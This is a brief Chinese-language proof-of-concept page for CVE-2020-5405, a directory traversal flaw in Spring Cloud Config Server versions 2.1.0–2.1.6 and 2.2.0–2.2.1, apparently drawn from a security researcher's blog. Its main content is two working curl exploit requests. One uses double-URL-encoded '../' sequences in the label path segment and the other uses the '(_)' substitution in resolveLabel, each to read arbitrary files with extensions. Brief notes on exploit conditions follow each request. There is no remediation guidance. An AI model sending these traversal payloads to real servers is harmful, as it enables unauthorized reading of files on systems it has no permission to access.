# CVE-2020-5405 Spring Cloud Config 目录穿越
影响版本:
– 2.2.0 to 2.2.1
– 2.1.0 to 2.1.6
poc:
“`
利用点1:
curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
读取/User/xuanyonghao/tmp/aaa.xxx文件
foo 对应 {application}
profiles 对应 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
todo 条件限制:
todo 1. 文件必须有后缀,也就是.txt等等。
todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
“`
“`
利用点2:
org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
利用此处把label处的(_)替换为/
curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
todo 条件限制:
todo 1. 文件必须有后缀,也就是.txt等等。
todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}
“`
[@threedr3am](https://threedr3am.github.io/2020/03/09/spring-cloud-confg-server目录穿越(CVE-2019-3799%20and%20CVE-2020-5405)/)
请登录后查看评论内容